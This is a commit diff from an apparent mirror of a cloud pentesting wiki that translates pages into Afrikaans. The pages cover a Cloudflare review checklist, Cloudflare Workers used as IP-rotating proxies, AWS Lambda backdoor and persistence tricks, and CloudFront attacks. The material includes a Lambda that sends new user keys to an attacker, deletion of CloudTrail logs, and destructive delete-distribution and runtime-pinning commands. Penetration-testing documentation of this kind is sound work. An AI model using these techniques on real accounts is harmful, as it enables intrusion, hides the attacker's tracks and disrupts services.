mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -1,12 +1,12 @@
|
||||
# Cloudflare Security
|
||||
# Cloudflare Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **algemene instellings en dienste** that can be configured. In this page we are going to **analiseer die sekuriteitsverwante instellings van elke afdeling:**
|
||||
In 'n Cloudflare-rekening is daar sommige **algemene instellings en dienste** wat gekonfigureer kan word. Op hierdie blad gaan ons die **sekuriteitsverwante instellings van elke afdeling** ontleed:
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
## Webwerwe
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -14,9 +14,9 @@ Review each with:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
### Domain Registration
|
||||
### Domeinregistrasie
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] In **`Transfer Domains`** maak seker dat dit nie moontlik is om enige domein te oordra nie.
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -24,35 +24,35 @@ Review each with:
|
||||
cloudflare-domains.md
|
||||
{{#endref}}
|
||||
|
||||
## Analytics
|
||||
## Analise
|
||||
|
||||
_I couldn't find anything to check for a config security review._
|
||||
_Ik kon niks vind om na te gaan vir 'n konfigurasie-sekuriteitsbeoordeling nie._
|
||||
|
||||
## Pages
|
||||
|
||||
On each Cloudflare's page:
|
||||
Op elke Cloudflare Pages blad:
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] Kyk vir **gevoelige inligting** in die **`Build log`**.
|
||||
- [ ] Kyk vir **gevoelige inligting** in die **Github repository** wat aan die pages toegewys is.
|
||||
- [ ] Kyk vir potensiële github repo kompromittering deur middel van **workflow command injection** of `pull_request_target` kompromittering. Meer inligting op die [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Kyk vir **kwetsbare funksies** in die `/fuctions` directory (indien enige), kyk na die **redirects** in die `_redirects` file (indien enige) en **verkeerd gekonfigureerde headers** in die `_headers` file (indien enige).
|
||||
- [ ] Kyk vir **kwetsbaarhede** in die **web page** via **blackbox** of **whitebox** indien jy toegang tot die kode het.
|
||||
- [ ] In die besonderhede van elke bladsy `/<page_id>/pages/view/blocklist/settings/functions`. Kyk vir **gevoelige inligting** in die **`Environment variables`**.
|
||||
- [ ] In die details bladsy kyk ook na die **build command** en **root directory** vir **potensiële injections** om die bladsy te kompromitteer.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] Die triggers: Wat laat die worker trigger? Kan 'n **gebruiker data stuur** wat deur die worker **gebruik** sal word?
|
||||
- [ ] In die **`Settings`**, kyk vir **`Variables`** wat **gevoelige inligting** bevat
|
||||
- [ ] Kyk na die **code van die worker** en soek na **kwetsbaarhede** (veral op plekke waar die gebruiker die input kan beheer)
|
||||
- Kyk vir SSRFs wat die aangewese blad teruggee wat jy kan beheer
|
||||
- Kyk vir XSSs wat JS uitvoer binne 'n svg image
|
||||
- Dit is moontlik dat die worker met ander interne dienste interaksie het. Byvoorbeeld, 'n worker mag met 'n R2 bucket kommunikeer en inligting daarin stoor wat uit die input verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die worker oor die R2 bucket het en hoe dit misbruik kan word via die gebruiker se input.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> Let wel dat standaard 'n **Worker 'n URL gekry** soos `<worker-name>.<account>.workers.dev`. Die gebruiker kan dit op 'n **subdomain** stel, maar jy kan dit altyd met daardie **oorspronklike URL** bereik as jy dit ken.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
@@ -64,7 +64,7 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] Konfigureer die **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -76,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] Indien moontlik, voer 'n **`Security Insights`** **scan** en 'n **`Infrastructure`** **scan** uit, aangesien dit interessante sekuriteitsverwante inligting sal uitlig.
|
||||
- [ ] Kontroleer net hierdie inligting vir sekuriteitsmisluiings en interessante inligting
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] Maak seker dat die **expressies** en **vereistes** vir redirects sin maak.
|
||||
- [ ] Kyk ook vir **gevoelige verborge endpoints** wat interessante inligting kan bevat.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- [ ] Kyk na die **notifications.** Hierdie notifications word vir sekuriteit aanbeveel:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -119,22 +119,22 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] Kyk na al die **destinasies**, aangesien daar **gevoelige inligting** (basic http auth) in webhook urls kan wees. Maak ook seker webhook urls gebruik **HTTPS**
|
||||
- [ ] As ekstra kontrole kan jy probeer om 'n **cloudflare notification** na 'n derde party te imiteer; miskien kan jy op 'n of ander manier iets gevaarliks **inject**.
|
||||
|
||||
## Manage Account
|
||||
## Bestuur Rekening
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **vervaldatum** en **faktureringsadres** te sien in **`Billing` -> `Payment info`**.
|
||||
- [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word te sien in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, net 2 rolle bestaan: Administrator en Super Administrator. Maar as die gebruikte **plan Enterprise is**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kan gebruik word om die minste voorreg-principe te volg.
|
||||
- Daarom word dit, waar moontlik, **aanbeveel** om die **Enterprise plan** te gebruik.
|
||||
- [ ] In Members is dit moontlik om te sien watter **members** 2FA aangeskakel het. **Elke** gebruiker behoort dit aangeskakel te hê.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
> Let wel dat gelukkig die rol **`Administrator`** nie toestemmings gee om lede te bestuur nie (**kan nie voorregte eskaleer of nuwe lede nooi nie**)
|
||||
|
||||
## DDoS Investigation
|
||||
## DDoS Ondersoek
|
||||
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
[Kyk na hierdie deel](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+33
-33
@@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers kan as deursigtige HTTP pass-through proxies ontplooi word waar die upstream teiken-URL deur die kliënt verskaf word. Versoeke verlaat Cloudflare se netwerk, sodat die teiken Cloudflare IPs sien in plaas van die kliënt se. Dit weerspieël die bekende FireProx-tegniek op AWS API Gateway, maar gebruik Cloudflare Workers.
|
||||
Cloudflare Workers kan gedeploy word as deursigtige HTTP pass-through proxies waar die upstream target URL deur die kliënt verskaf word. Versoeke verlaat Cloudflare se netwerk, sodat die teiken Cloudflare IP's sien in plaas van die kliënt se IP. Dit weerspieël die goed-bekende FireProx-tegniek op AWS API Gateway, maar gebruik Cloudflare Workers.
|
||||
|
||||
### Belangrike vermoëns
|
||||
- Ondersteuning vir alle HTTP-metodes (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Teiken kan verskaf word via 'n query-parameter (?url=...), 'n header (X-Target-URL), of selfs gekodeer in die pad (bv. /https://target)
|
||||
- Headers en body word deurgeproxeer met hop-by-hop/header-filtrering soos nodig
|
||||
- Response word teruggestuur, statuskode en meeste headers word behou
|
||||
- Opsionele spoofing van X-Forwarded-For (indien die Worker dit stel vanaf 'n gebruikersbeheerde header)
|
||||
- Uiterst vinnige/gemaklike rotasie deur verskeie Worker endpoints te ontplooi en versoeke uit te waaier
|
||||
- Support vir alle HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Target kan verskaf word via 'n query-parameter (?url=...), 'n header (X-Target-URL), of selfs gekodeer in die path (bv. /https://target)
|
||||
- Headers en body word deur die proxy deurgegee met hop-by-hop/header filtering soos nodig
|
||||
- Responses word terugge-relay, met behoue status code en meeste headers
|
||||
- Opsionele spoofing van X-Forwarded-For (indien die Worker dit stel vanaf 'n gebruiker-beheerde header)
|
||||
- Uiters vinnige/eenvoudige rotasie deur verskeie Worker endpoints te ontplooi en versoeke te versprei
|
||||
|
||||
### Hoe dit werk (vloei)
|
||||
1) Die kliënt stuur 'n HTTP-versoek na 'n Worker-URL (`<name>.<account>.workers.dev` of 'n pasgemaakte domeinroute).
|
||||
2) Die Worker onttrek die teiken vanaf 'n query-parameter (?url=...), die X-Target-URL-header, of 'n padsegment indien geïmplementeer.
|
||||
3) Die Worker stuur die inkomende metode, headers en body na die gespesifiseerde upstream-URL (met filtrering van problematiese headers).
|
||||
4) Die upstream-antwoord word deur Cloudflare na die kliënt gestroom; die oorsprong sien Cloudflare se uitgaande IPs.
|
||||
### Hoe dit werk (flow)
|
||||
1) Kliënt stuur 'n HTTP-versoek na 'n Worker URL (`<name>.<account>.workers.dev` of 'n custom domain route).
|
||||
2) Worker haal die target uit óf 'n query-parameter (?url=...), die X-Target-URL header, of 'n path-segment indien geïmplementeer.
|
||||
3) Worker stuur die inkomende method, headers, en body na die gespesifiseerde upstream URL (filtreer problematiese headers).
|
||||
4) Upstream response word teruggestroom na die kliënt deur Cloudflare; die oorsprong sien Cloudflare se uitgaande IP's.
|
||||
|
||||
### Worker implementasie voorbeeld
|
||||
- Lees die teiken-URL vanaf 'n query-param, header of pad
|
||||
- Kopieer 'n veilige substel van headers en stuur die oorspronklike metode/body deur
|
||||
- Stel opsioneel X-Forwarded-For in deur 'n gebruikersbeheerde header (X-My-X-Forwarded-For) te gebruik of 'n ewekansige IP
|
||||
### Worker implementation example
|
||||
- Lees target URL vanaf query param, header, of path
|
||||
- Kopieer 'n veilige substel van headers en stuur die oorspronklike method/body voort
|
||||
- Opsioneel stel X-Forwarded-For deur 'n deur-gebruiker-beheerde header (X-My-X-Forwarded-For) of 'n ewekansige IP te gebruik
|
||||
- Voeg permissiewe CORS by en hanteer preflight
|
||||
|
||||
<details>
|
||||
@@ -133,12 +133,12 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
|
||||
```
|
||||
</details>
|
||||
|
||||
### Outomatiseer ontplooiing en rotasie met FlareProx
|
||||
### Automatiseer ontplooiing en rotasie met FlareProx
|
||||
|
||||
FlareProx is 'n Python-instrument wat die Cloudflare API gebruik om baie Worker-endpunte te ontplooi en oor hulle te roteer. Dit verskaf FireProx-agtige IP-rotasie vanaf Cloudflare se netwerk.
|
||||
FlareProx is 'n Python-instrument wat die Cloudflare API gebruik om baie Worker endpoints te ontplooi en oor hulle te roteer. Dit bied FireProx-like IP rotation vanaf Cloudflare se netwerk.
|
||||
|
||||
Opstelling
|
||||
1) Skep 'n Cloudflare API Token met die “Edit Cloudflare Workers” sjabloon en kry jou Account ID vanaf die dashboard.
|
||||
1) Skep 'n Cloudflare API Token met behulp van die “Edit Cloudflare Workers” template en kry jou Account ID vanaf die dashboard.
|
||||
2) Konfigureer FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
@@ -164,7 +164,7 @@ python3 flareprox.py create --count 2
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Gesondheidstoets-eindpunte:
|
||||
- Gesondheidstoets endpoints:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
@@ -172,8 +172,8 @@ python3 flareprox.py test
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Routering van verkeer deur 'n Worker'**
|
||||
- Navraag-parametervorm:
|
||||
**Verkeer deur 'n Worker herlei**
|
||||
- Vorm van navraagparameters:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
@@ -185,7 +185,7 @@ curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.worke
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Metode-voorbeelde:
|
||||
- Metodevoorbeelde:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
@@ -204,17 +204,17 @@ curl -X DELETE \
|
||||
```
|
||||
**`X-Forwarded-For` beheer**
|
||||
|
||||
As die Worker `X-My-X-Forwarded-For` respekteer, kan jy die upstream `X-Forwarded-For`-waarde beïnvloed:
|
||||
As die Worker `X-My-X-Forwarded-For` respekteer, kan jy die upstream `X-Forwarded-For` waarde beïnvloed:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Programmatiese gebruik**
|
||||
|
||||
Gebruik die FlareProx library om endpoints te skep/lys/toets en versoeke vanaf Python te roete.
|
||||
Gebruik die FlareProx-biblioteek om endpoints te skep/lys/toets en versoeke vanaf Python te routeer.
|
||||
|
||||
<details>
|
||||
<summary>Python voorbeeld: Stuur 'n POST via 'n ewekansige Worker endpoint</summary>
|
||||
<summary>Python-voorbeeld: Stuur 'n POST via 'n ewekansige Worker-endpoint</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
@@ -267,17 +267,17 @@ print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integration**
|
||||
- Wys jou gereedskap (byvoorbeeld Burp Suite) na die Worker URL.
|
||||
**Burp/Scanner integrasie**
|
||||
- Wys jou tooling (byvoorbeeld Burp Suite) na die Worker-URL.
|
||||
- Verskaf die werklike upstream met ?url= of X-Target-URL.
|
||||
- HTTP-semantiek (methods/headers/body) word behou terwyl jou bron-IP agter Cloudflare weggesteek word.
|
||||
- HTTP semantics (methods/headers/body) word behou terwyl jou bron-IP agter Cloudflare gemasker word.
|
||||
|
||||
**Operasionele notas en perke**
|
||||
- Cloudflare Workers Free plan laat ongeveer 100,000 versoeke/dag per rekening toe; gebruik meerdere endpoints om verkeer te versprei indien nodig.
|
||||
- Workers word op Cloudflare se netwerk uitgevoer; baie teikens sal slegs Cloudflare IPs/ASN sien, wat eenvoudige IP allow/deny-lyste of geo-heuristieke kan omseil.
|
||||
**Operationele notas en perke**
|
||||
- Cloudflare Workers Free plan laat ongeveer 100,000 versoeke/dag per rekening toe; gebruik verskeie endpunte om verkeer te versprei indien nodig.
|
||||
- Workers hardloop op Cloudflare se netwerk; baie teikens sal slegs Cloudflare IPs/ASN sien, wat eenvoudige IP allow/deny-lyste of geo-heuristieke kan omseil.
|
||||
- Gebruik dit verantwoordelik en slegs met magtiging. Respekteer ToS en robots.txt.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
|
||||
+19
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ Vir meer inligting, kyk:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
Dit is moontlik om **introduce/backdoor a layer to execute arbitrary code** wanneer die Lambda uitgevoer word op 'n stealthy manier:
|
||||
Dit is moontlik om **introduce/backdoor a layer to execute arbitrary code** wanneer die lambda op 'n stealthy wyse uitgevoer word:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te persist, en ook requests te steel en te wysig.
|
||||
Deur Lambda Layers te abuse is dit ook moontlik om extensions te misbruik en in die lambda te persist, en ook requests te steel en te wysig.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
Dit is moontlik om toegang te verleen tot verskeie lambda actions (soos invoke of update code) aan external accounts:
|
||||
Dit is moontlik om toegang tot verskillende lambda-aksies (soos invoke of update code) aan eksterne rekeninge te verleen:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
A Lambda kan **different versions** hê (met verskillende code per version).\
|
||||
Dan kan jy **different aliases with different versions** van die lambda skep en verskillende weights aan elkeen toewys.\
|
||||
Op hierdie manier kan 'n aanvaller 'n **backdoored version 1** skep en 'n **version 2 with only the legit code**, en **only execute the version 1 in 1%** van die requests om stealth te bly.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -54,16 +54,16 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
Die feit dat jy **lambda functions run when something happen or when some time pass** maak Lambda 'n gewilde en algemene manier om persistence te bekom en avoid detection.\
|
||||
Die feit dat jy **lambda functions run when something happen or when some time pass** maak lambda 'n gewilde manier om persistence te verkry en detectie te vermy.\
|
||||
Hier is 'n paar idees om jou **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Elke keer as 'n nuwe user geskep word, genereer die Lambda 'n nuwe user key en stuur dit aan die attacker.
|
||||
- Elke keer as 'n nuwe role geskep word, gee die Lambda assume role permissions aan compromised users.
|
||||
- Elke keer as nuwe cloudtrail logs gegenereer word, delete/alter them
|
||||
- Elke keer as 'n nuwe user geskep word, genereer die lambda 'n nuwe user key en stuur dit aan die attacker.
|
||||
- Elke keer as 'n nuwe role geskep word, gee die lambda assume role permissies aan gecompromitteerde users.
|
||||
- Elke keer as nuwe cloudtrail logs gegenereer word, delete/alter hulle
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Misbruik die environment variable `AWS_LAMBDA_EXEC_WRAPPER` om 'n attacker-controlled wrapper script uit te voer voordat die runtime/handler begin. Lewer die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en invoke dan die function. Die wrapper loop binne die function runtime proses, erf die function execution role, en uiteindelik `exec`s die regte runtime sodat die oorspronklike handler steeds normaal uitgevoer word.
|
||||
Misbruik die omgewingveranderlike `AWS_LAMBDA_EXEC_WRAPPER` om 'n attacker-controlled wrapper script uit te voer voordat die runtime/handler begin. Plaas die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die function execution role, en uiteindelik `exec`s die werklike runtime sodat die oorspronklike handler steeds normaal uitvoer.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Misbruik Lambda asynchronous destinations saam met die Recursion configuration om 'n function aanhoudend weer self te re-invoke sonder 'n external scheduler (geen EventBridge, cron, ens.). Standaard beëindig Lambda recursive loops, maar deur die recursion config op Allow te stel heraktiveer dit weer. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
|
||||
Misbruik Lambda asynchronous destinations saam met die Recursion configuration om 'n funksie aanhoudend weer self te laat invoke sonder 'n eksterne scheduler (geen EventBridge, cron, ens.). By verstek beëindig Lambda recursive loops, maar deur die recursion config op Allow te sit word dit weer geaktiveer. Destinations deliver op die service-side vir async invokes, so 'n enkele seed invoke skep 'n stealthy, code-free heartbeat/backdoor channel. Opsioneel kan jy met reserved concurrency throttle om geraas laag te hou.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Skep 'n hidden Lambda version met attacker logic en scope 'n resource-based policy na daardie spesifieke version (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Gee slegs `lambda:InvokeFunction` op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n attacker principal. Normale invocations via die function name of primary alias bly ongemoeid, terwyl die attacker direk die backdoored version ARN kan invoke.
|
||||
Skep 'n verborge Lambda version met attacker logic en scope 'n resource-based policy na daardie spesifieke version (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Gee slegs `lambda:InvokeFunction` op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n attacker principal. Normale invocations via die function name of primêre alias bly onaangeraak, terwyl die attacker direk die backdoored version ARN kan invoke.
|
||||
|
||||
This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
|
||||
Dit is stealthier as om 'n Function URL bloot te stel en verander nie die primêre traffic alias nie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
@@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
|
||||
'n Attacker wat lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, en lambda:GetRuntimeManagementConfig permissies het, kan 'n funksie se runtime management configuration wysig. Hierdie aanval is veral effektief wanneer die doel is om 'n Lambda-funksie op 'n kwetsbare runtime version te hou of om versoenbaarheid met malicious layers te bewaar wat dalk onversoenbaar is met nuwer runtimes.
|
||||
|
||||
The attacker modifies the runtime management configuration to pin the runtime version:
|
||||
Die attacker wysig die runtime management configuration om die runtime version te pin:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Opsioneel: Pin na 'n spesifieke runtime-weergawe
|
||||
Opsioneel: Speld vas aan 'n spesifieke runtime-weergawe
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
@@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Vaspen op 'n spesifieke runtime-weergawe:
|
||||
Vastmaak aan 'n spesifieke runtime-weergawe:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
|
||||
+7
-7
@@ -4,14 +4,14 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
'n Aanvaller wat `cloudfront:Delete*` toegekry is, kan distributions, policies en ander kritieke CDN-konfigurasie-objekte uitvee — byvoorbeeld distributions, cache/origin policies, key groups, origin access identities, functions/configs, en verwante hulpbronne. Dit kan diensonderbreking, inhoudverlies, en verwydering van konfigurasie- of forensiese artefakte tot gevolg hê.
|
||||
Aanvaller met cloudfront:Delete* toestemming kan distributions, policies en ander kritieke CDN-konfigurasie-objekte verwyder — byvoorbeeld distributions, cache/origin policies, key groups, origin access identities, functions/configs, en verwante resources. Dit kan diensonderbreking, inhoudsverlies en verwydering van konfigurasie- of forensiese artefakte veroorsaak.
|
||||
|
||||
Om 'n distribution te verwyder, kan 'n aanvaller die volgende gebruik:
|
||||
```bash
|
||||
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
Hierdie [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** by 'n **communication through CloudFront** gevoeg kan word (of gewysig kan word as dit reeds gebruik word) met die doel van **stealing** van gebruikersinligting (soos die sessie **cookie**) en **modifying** van die **response** (injecting a malicious JS script).
|
||||
